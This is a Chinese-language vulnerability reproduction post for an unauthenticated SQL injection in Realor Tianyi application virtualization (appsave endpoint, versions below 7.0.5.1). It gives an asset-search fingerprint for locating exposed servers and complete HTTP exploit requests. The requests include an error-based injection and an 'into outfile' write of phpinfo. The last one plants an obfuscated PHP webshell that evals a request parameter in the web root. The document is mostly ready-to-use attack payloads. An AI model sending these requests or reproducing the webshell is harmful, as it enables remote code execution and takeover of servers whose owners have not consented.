瑞友天翼应用虚拟化系统appsave存在SQL注入漏洞
一、漏洞简介
瑞友天翼应用虚拟化系统是西安瑞友信息技术资讯有限公司研发的具有自主知识产权，基于服务器计算架构的应用虚拟化平台。它将用户各种应用软件集中部署在瑞友天翼服务器(群)上，客户端通过WEB即可快速安全的访问经服务器上授权的应用软件，实现集中应用、远程接入、协同办公等，从而为用户打造集中、便捷、安全、高效的虚拟化支撑平台。瑞友天翼应用虚拟化系统存在SQL注入漏洞，未经身份认证的远程攻击者可以利用该漏洞在目标系统上执行任意代码，（该漏洞是通过SQL注入写入后门文件进行代码执行）
二、影响版本
- version < 7.0.5.1
三、资产测绘
- hunter
app.name="REALOR 瑞友天翼虚拟化平台" - 特征
四、漏洞复现
查看版本
/RapAgent.xgi?CMD=GetRegInfo
GET /index.php?s=/Admin/appsave&appid=3%27%29+AND+%28SELECT+2590+FROM%28SELECT+COUNT%28%2A%29%2CCONCAT%280x716a766a71%2C%28SELECT+%28ELT%282590%3D2590%2C1%29%29%29%2C0x7162786271%2CFLOOR%28RAND%280%29%2A2%29%29x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x%29a%29--+ITBH HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Izntel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: think_language=zh-CN; PHPSESSID=qlg6b8j8gnd7lbu535e1h3rd02
Upgrade-Insecure-Requests: 1
/index.php?s=/Admin/appsave&appid=3
ruiyou_appsave_sqli.yaml
写shell
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f70687020706870696e666f28293b3f3e%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cpoc2.php%27%23 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Izntel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: think_language=zh-CN; PHPSESSID=qlg6b8j8gnd7lbu535e1h3rd02
Upgrade-Insecure-Requests: 1
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f70687020636c617373204736736148764732207b207075626c69632066756e6374696f6e205f5f636f6e7374727563742824485a393375297b20406576616c28222f2a5a6c3932434e4b3048572a2f222e24485a3933752e222f2a5a6c3932434e4b3048572a2f22293b207d7d6e657720473673614876473228245f524551554553545b2778275d293b3f3e%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cpoc.php%27%23HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Izntel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: think_language=zh-CN; PHPSESSID=qlg6b8j8gnd7lbu535e1h3rd02
Upgrade-Insecure-Requests: 1